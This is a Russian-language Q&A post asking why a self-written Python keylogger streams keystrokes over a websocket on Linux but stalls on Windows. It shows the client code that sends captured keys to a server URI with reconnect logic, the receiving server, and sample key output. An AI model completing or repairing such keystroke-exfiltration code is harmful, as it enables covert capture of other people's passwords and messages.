Python3 Websockets - поток работает на Linux, а не Windows? - PullRequest
0 голосов
/ 17 января 2020

Я написал кейлоггер, который отправляет захваченные ключи в режиме реального времени через веб-сокет. Все отлично работает в моей системе Linux, однако, когда я запускаю точно такой же код на моей виртуальной машине Windows 10, я запускаю программу, первый ключ получается на сервере, но затем поток просто останавливается. Я попытался использовать разные порты, отключить Windows Defender и маршрутизировать виртуальную машину через тот же VPN, который использует моя система Linux. Там нет сообщения об ошибке или что-то, просто кажется, что соединение зависает. Я не могу понять, что здесь происходит. Это точно такой же код и интерпретатор python, единственное отличие состоит в том, что он не работает правильно на windows.

Это код веб-сокета:

class WsStream:
    """
    Live key stream over websocket
    """
    def __init__(self, uri):
        self.uri = uri
        self.logger = setup_logger('WsStream', 'keylogger.log')

    async def ws_stream(self):
        uri = self.uri
        while True:
            try:
                async with websockets.connect(uri) as websocket:
                    while True:
                        msg = presses.ws_que()
                        if msg is not None:
                            await websocket.send(str(msg))
            except ConnectionRefusedError:
                self.logger.debug('Could not connect to ws server, reconnecting ... ')
                time.sleep(1)
            except websockets.ConnectionClosedError:
                self.logger.debug('Connection closed, reconnecting ..')
                time.sleep(1)
            except Exception as err:
                self.logger.debug('Websocket error:', err)

И это сервер:

async def handle_msg(websocket, path=None):
    while True:
        try:
            data = await websocket.recv()
            print(f"{data}")
            time.sleep(0.0625)
        except websockets.exceptions.ConnectionClosedError:
            pass


start_server = websockets.serve(handle_msg, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

Когда я запускаю его на Linux, я вижу поток живого ключа:

$ ./ws_server.py
{'time': '2020-01-16_22:55:17', 'key': "'t'"}
{'time': '2020-01-16_22:55:17', 'key': "'e'"}
{'time': '2020-01-16_22:55:17', 'key': "'s'"}
{'time': '2020-01-16_22:55:17', 'key': "'t'"}
{'time': '2020-01-16_22:55:18', 'key': "'t'"}
{'time': '2020-01-16_22:55:18', 'key': "'e'"}
{'time': '2020-01-16_22:55:18', 'key': "'s'"}
{'time': '2020-01-16_22:55:18', 'key': "'t'"}

На windows я получаю только первый ключ .. .

$ ./ws_server.py
{'time': '2020-01-16_22:56:34', 'key': "'f'"}

Нет сообщений об ошибках или что-либо еще. Кажется, это просто зависает. Кто-нибудь знает, что здесь происходит? Полный код можно найти здесь .

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...